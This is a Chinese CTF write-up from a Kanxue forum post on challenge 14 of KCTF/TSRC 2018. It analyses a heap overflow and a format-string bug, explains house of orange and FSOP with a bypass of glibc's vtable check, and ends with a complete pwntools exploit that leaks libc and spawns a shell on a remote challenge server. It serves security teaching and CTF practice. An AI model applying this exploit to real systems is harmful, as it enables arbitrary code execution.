首页
论坛
课程
招聘
雪    币: 12386
活跃值: 活跃值 (54)
能力值: ( LV12,RANK:349 )
在线值:
发帖
回帖
粉丝

[原创]看雪CTF.TSRC 2018 团队赛 第十四题

2018-12-28 17:33 3218

[原创]看雪CTF.TSRC 2018 团队赛 第十四题

2018-12-28 17:33
3218

程序功能分析

程序功能很简单,循环5次,通过sub_AF0函数获取输入的长度,然后分配相应大小的堆保存输入的word,最后输出。

使用shecksec查看有以下保护:
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

漏洞分析

获取word的输入没有长度检查,可以造成堆溢出。word的输出会造成格式化字符串漏洞。

漏洞利用原理

1、通过格式化字符串漏洞泄漏出保存在栈中返回到__libc_start_main中的地址,从而可以计算出libc的基址。

2、利用堆溢出修改 top chunk 的大小,当不满足 malloc 的分配需求时,会通过sysmalloc 来向系统申请更多的空间 。对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,申请的大小不能超过默认的阈值也就是128k ,原有的top chunk就会被置于unsorted bin中 。top chunk的大小也会有合法性检测,检查如下:
assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));
所以伪造的大小必须要对齐到内存页, 大于 MINSIZE(0x10), 小于之后申请的堆块 且size 的 prev inuse 位必须为 1。

3、 利用FSOP (File Stream Oriented Programming)原理以及house of orange原理控制程序流程 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。FILE结构的定义如下:
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用libc中的全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。需要注意的是 stdin、stdout、stderr 三个文件流位于 libc的数据段中。但是事实上_IO_FILE 结构位于另一种结构_IO_FILE_plus中, _IO_FILE_plus的定义如下:
struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
其中包含了一个重要的指针 vtable,它指向了一系列函数指针, 标准 IO 函数中会调用这些函数指针 。
gdb-peda$ p _IO_file_jumps
$1 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff7a8ed20 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a8f700 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a8f4b0 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a90560 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a91700 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a8e5a0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a8e2b0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a8d8e0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a90ad0 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a8d850 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a8d780 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a829b0 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a8e580 <__GI__IO_file_read>, 
  __write = 0x7ffff7a8df70 <_IO_new_file_write>, 
  __seek = 0x7ffff7a8dd70 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a8d840 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a8df60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a91860 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a91870 <_IO_default_imbue>
}
因此直接改写 vtable 中的函数指针或者是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针就可以劫持程序流程 。该程序可以覆盖unsorted bin空闲块,修改bk指向_IO_list_all-0x10,同时布置fake file struct,然后分配堆块,触发unsorted bin attack 修改_IO_list_all指向main_arena+88,因为_chain域在_IO_list_all + 0x68的位置 ,也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置,所以需要修改其大小为0x60 ,之后修改过的unsorted bin 会被放入 small bin [4]中,这样就可以伪造一个FILE结构,继续遍历unsorted bin会触发异常,调用malloc_printerr。调用栈如下:
malloc_printerr
   _libc_message(error msg)
       abort
           _IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)
_IO_flush_all_lockp函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函数便就可以拿到shell。 libc2.24版本的_IO_flush_all_lockp定义如下:
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//合法性检查
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}
所以伪造的结构体要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。在 libc2.23 版本中可以直接修改伪造的vtable, 使得_IO_OVERFLOW=system_addr 。kkhaike大佬说该程序无法泄漏出堆顶地址 ,所以采用绕过libc2.24检查机制的方法来获取shell。libc2.24版本多了一个vtable合理性的检查机制,检查如下:
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
可以使用__IO_str_jumps和__IO_wstr_jumps进行绕过, 使用__IO_str_jumps 更为简单,如何定位 __IO_str_jumps 参考这篇文章 __IO_str_jumps 定义如下:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
可以利用其中的 _IO_str_finsh和_IO_str_overflow这两个函数的strops.c定义如下:
void
_IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  ...
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//调用 ((char*)fp + 0xE0))(2 * v6 + 100),v6=fp->_IO_buf_end - fp->_IO_buf_base
	  ...
	}
    }
...
}
因为调用(char*)fp+0xE8和(char*)fp + 0xE0,所以可以把这部分设置成system的地址。

EXP

exp是参考的这篇文章
from pwn import *

#context.log_level = 'debug'

io = remote("211.159.175.39", 8686)
libc = ELF('libc.2.23.so')

def prf(size, s):
    io.sendlineafter(" word: ", str(size))
    io.sendlineafter("word: ", s)


def overwrite_top():
    payload  = "A" * 16
    payload += p64(0) + p64(0xfe1)              # top chunk header
    prf(0x10, payload)


def leak_libc():
    global libc_base
    prf(0x1000, '%p%p%p%p%p%p%p%pA')
    libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241
    libc_base = libc_start_main - libc.symbols['__libc_start_main']
    log.info("libc_base address: 0x%x" % libc_base)

def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    vtable_addr = libc_base + 0x3C37A0 #0x3be4c0          # _IO_str_jumps

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("vtable address: 0x%x" % vtable_addr)

    stream  = p64(0) + p64(0x61)                # fake header   # fp
    stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer
    stream += p64(0)                            # fp->_IO_write_base
    stream += p64(1)                   # fp->_IO_write_ptr
    #stream += p64(0xffffffff)                   # fp->_IO_write_ptr
    stream += p64(0)# *2                         # fp->_IO_write_end, fp->_IO_buf_base
    stream += p64(bin_sh_addr)
    stream += p64(0)#(bin_sh_addr - 100) / 2)      # fp->_IO_buf_end
    stream  = stream.ljust(0xc0, '\x00')
    stream += p64(0)                            # fp->_mode

    payload  = "A" * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(vtable_addr - 8)                 # _IO_FILE_plus->vtable
    payload += p64(0)
    payload += p64(system_addr)
    prf(0x10, payload)

def house_of_orange_():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    vtable_addr = libc_base + 0x3C37A0          # _IO_str_jumps

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("vtable address: 0x%x" % vtable_addr)

    stream  = p64(0) + p64(0x61)                # fake header   # fp
    stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer
    stream += p64(0)                            # fp->_IO_write_base
    stream += p64(0xffffffff)                   # fp->_IO_write_ptr
    stream += p64(0) *2                         # fp->_IO_write_end, fp->_IO_buf_base
    stream += p64((bin_sh_addr - 100) / 2)      # fp->_IO_buf_end
    stream  = stream.ljust(0xc0, '\x00')
    stream += p64(0)                            # fp->_mode

    payload  = "A" * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(vtable_addr)                 # _IO_FILE_plus->vtable
    payload += p64(system_addr)
    prf(0x10, payload)

def pwn():
    io.sendlineafter(" word: ", "0")
    #io.sendline("0")        # abort routine
    io.interactive()

if __name__ == '__main__':
    overwrite_top()
    leak_libc()
    house_of_orange()
    pwn()
house_of_orange函数利用的是 _IO_str_finsh, house_of_orange _函数利用的是 _IO_str_overflow 。但是使用 _IO_str_overflow并不成功,不知道是不是因为bin_sh_addr的地址是奇数的原因 。最后使用 house_of_orange获得shell。

参考链接



HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最后于 2018-12-28 17:38 被会飞的鱼油编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回